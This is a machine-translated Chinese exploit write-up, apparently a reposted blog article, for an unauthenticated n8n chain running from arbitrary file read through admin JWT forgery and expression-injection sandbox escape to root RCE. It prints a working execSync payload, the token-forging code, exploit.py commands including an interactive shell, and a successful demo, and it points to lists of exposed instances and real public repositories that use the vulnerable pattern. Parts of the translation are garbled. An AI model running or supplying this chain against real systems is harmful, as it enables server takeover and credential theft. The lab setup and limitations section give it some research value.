最新热点漏洞—— CVE-2026-21858 + CVE-2025-68613 - n8n 全链【 严重安全漏洞】

未认证任意文件读取→管理员令牌锻造→沙箱绕过→RCE

CVE CVE-2026-21858(空军预备役)+ CVE-2025-68613(RCE)
CVSS 10.0 + 9.9(关键)
受影响 <= 1.65.0(空军比)/ >= 0.211.0(RCE)
固定 1.121.0(空军预报)/ 1.120.4+(RCE)
已披露 2026-01-07 11:09 UTC
代号 Ni8mare
致谢 多尔·阿提亚斯(赛拉)
利用 乔卡皮克
流程 AI-automated: patch diff → repro → lab → exploit(披露后~9小时)
类型 概念验证------不是通用漏洞(需要特定的工作流程配置,详见限制))

总结:总结

n8n 上的完整未认证 RCE 链:

  1. CVE-2026-21858 - 任意文件读取→内容类型混淆
  2. 读取配置+数据库→Forge管理员JWT
  3. CVE-2025-68613 - 表达注入→沙箱绕过→RCE

检测

曝光基于版本。在暴露方面,有一些脆弱的n8n实例是公开可访问的。

LeakIX 结果: 查看暴露实例https://leakix.net/search?scope=leak&q=%2Btag%3Acve-2026-21858

为什么要利用这个漏洞?

该漏洞是独立于Cyera文档(完成后发现的)开发的。主要区别:

Cyera(原创研究) 这一漏洞
文件已读 通过聊天→加载到AI知识库查询 直接HTTP响应
前提条件 聊天工作流程 + AI 集成 任何带有文件上传的表格
RCE方法 "执行命令"节点(默认禁用) 表达式注入(默认安装时有效)
自动化 手册/概念演示 全自动 Python 脚本

这两种方法都需要特定的工作流程配置。Cyera需要Chat + AI集成,这个漏洞需要一个带有Respond节点的表单。详情请参见限制

攻击链

notranslate 复制代码
<span style="background-color:#f6f8fa"><span style="color:#1f2328"><span style="color:#1f2328"><span style="background-color:#f6f8fa"><code>┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘
</code></span></span></span></span>

CVE-2026-21858 - 通过内容类型读取任意文件混淆

徽章

notranslate 复制代码
<span style="background-color:#f6f8fa"><span style="color:#1f2328"><span style="color:#1f2328"><span style="background-color:#f6f8fa"><code>commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork
</code></span></span></span></span>

传奇的**"从fork合并提交"**------看到这个,说明有人发现了刺激的东西。 🌶️

根本原因

复制代码
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

发送→控制,读取任何文件→。Content-Type: application/json``filepath

CVE-2025-68613 - 表达注入RCE

为什么选择这个绕行?

n8n 用户沙箱(代码节点,表达式)使用 /。其他RCE载体:vm2``isolated-vm

技术 现状
执行命令节点 默认禁用 (N8N_ALLOW_EXEC_COMMAND=false)
SSH/HTTP 节点 在远程服务器上执行,而不是在n8n主机上
Pyodide 沙盒逃脱 CVE-2025-68668 - 需要 Python 代码节点
表达注入 CVE-2025-68613 - 默认安装时可正常使用

我用表达注入是因为它能在任何默认设置的n8n上运行------不需要特殊节点或配置。Pyodide 绕过(CVE-2025-68668)需要 Python 代码节点,但该节点可能并非所有实例都可用。

有效载荷

复制代码
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

N8N表达式可以访问完整的沙盒转义功能→。this.process.mainModule.require

代币锻造厂

复制代码
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

实验室设置

复制代码
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: admin@exploit.local / password

用途

复制代码
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

演示

notranslate 复制代码
<span style="background-color:#f6f8fa"><span style="color:#1f2328"><span style="color:#1f2328"><span style="background-color:#f6f8fa"><code>╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: admin@exploit.local
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)
</code></span></span></span></span>

局限性

**这绝不是"攻破任何n8n"漏洞。**它需要特定条件才能发挥作用:

需求 描述
表格附文件上传 Target必须有一个带有文件上传字段的表单工作流程
响应Webhook节点 工作流程必须在HTTP响应中返回文件内容
工作流激活 表单工作流程必须被激活
未认证访问 表单必须公开访问(无需授权)

易受攻击的工作流程配置示例:

复制代码
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

关键元素为:+ 。这种模式在文件处理工作流程中很常见(转换器、图像调整器、文档处理器)。fieldType: "file"``respondWith: "binary"

作品:

  • 带有Respond节点返回二进制的表单(文件转换器、处理器)
  • 默认安装 n8n(表达式注入未被阻止)
  • 本地/Docker 部署(数据库 + 存储在磁盘上的配置)

不起作用:

  • 没有响应节点的表单(文件被读取,但内容未在HTTP响应中返回)
  • 需要认证的表单
  • n8n 云(不同架构,无法访问本地文件)
  • 修补版本(>= 1.121.0)

**注:**漏洞(任意文件读取)无论采用何种数据外取方法都会被触发。Respond 节点只是获取内容的一种方式。其他方法(OOB、其他输出节点)可能根据工作流程配置有效。

**盲目剥削:**如果没有响应节点,n8n仍会读取文件,但无法通过HTTP响应被窃取。需要替代技术(如OOB、时序控制)。

现实世界的例子

漏洞模式(表单触发 + 文件上传 + 响应 Webhook)存在于公开的 GitHub 仓库中。

**注:**流行的n8n工作流程仓库(>100⭐)不使用这种模式。这些是社区/个人项目:

工作流程文件 文件字段 回应
ifcpipeline/.../ifcpipeline.json IDS,IFC(两次) binary ⚠️
纳米香蕉工作室/....../03_multi_asset_processor.json 图片、音频、Markdown json
ticket-omnichannel-chat/.../Knowledge_base.json 文件(PDF) text
ai_resume_project/resume_rag.json 文件上传 allIncomingItems
FKGPT-Portfolio/.../audio-transcription-analysis.json 音频文件 text
n8n-backup/.../K3DwHQs0fnnm5UK0.json 文件 text
voltix登陆页面/.../chatbotvoltix.json 上传文件 默认
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json 文件 默认
8n8Workflows/.../3WoSqiBnZ56RtWMb.json 上传你的文档 默认
learn_earn_ai_insta/....../我的workflow.json 上传你的文件 默认
finintworkshop/.../API 使用 n8n (ToT) .json 文件 json

这些都是社区贡献的工作流程。没有官方的 n8n.io 模板使用这种易受攻击的模式。

相关推荐
独行soc2 小时前
2026年渗透测试面试题总结-1(题目+回答)
android·开发语言·网络·安全·web安全·渗透测试·php
这儿有一堆花2 小时前
服务器安全:防火墙深度配置指南
服务器·安全·php
金士镧(厦门)新材料有限公司3 小时前
稀土抑烟剂:让PVC膜“安静”又安全
科技·安全·全文检索·生活·能源
网安小白的进阶之路3 小时前
B模块 安全通信网络 第二门课 核心网路由技术-2-BGP通告原则-IBGP水平分割-路由反射器
网络·安全
友莘居士3 小时前
SecretFlow 2.0 中安全执行计划SEP原理
安全·隐私计算·secretflow
xiatianxy3 小时前
云酷智能安全带(阵列):筑牢登高安全防线的关键力量
安全·智能安全带
@CLoudbays_Martin114 小时前
SDK游戏盾是否实现攻击时用户不受影响?
网络·安全
虹科网络安全4 小时前
艾体宝洞察 | 当AI成为攻击者武器:企业邮件安全的全面升级之战
人工智能·安全
清水白石0084 小时前
重构有序字典:手写一个线程安全且更快的 OrderedDict
python·安全·spring·重构